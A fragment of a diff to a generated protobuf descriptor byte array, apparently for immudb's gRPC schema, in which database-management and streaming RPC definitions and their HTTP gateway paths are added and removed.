0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, + 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x88, 0x02, 0x01, 0x12, 0x75, + 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x32, + 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, + 0x73, 0x74, 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, + 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, + 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, 0x22, + 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x12, 0x6a, + 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, + 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, + 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, + 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x55, - 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x14, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, - 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x65, - 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, + 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, + 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, + 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, + 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, + 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, - 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, - 0x64, 0x64, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, - 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, - 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, - 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, 0x01, - 0x2a, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, 0x0e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, - 0x3a, 0x01, 0x2a, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, - 0x69, 0x74, 0x68, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, - 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, - 0x32, 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x74, 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, - 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 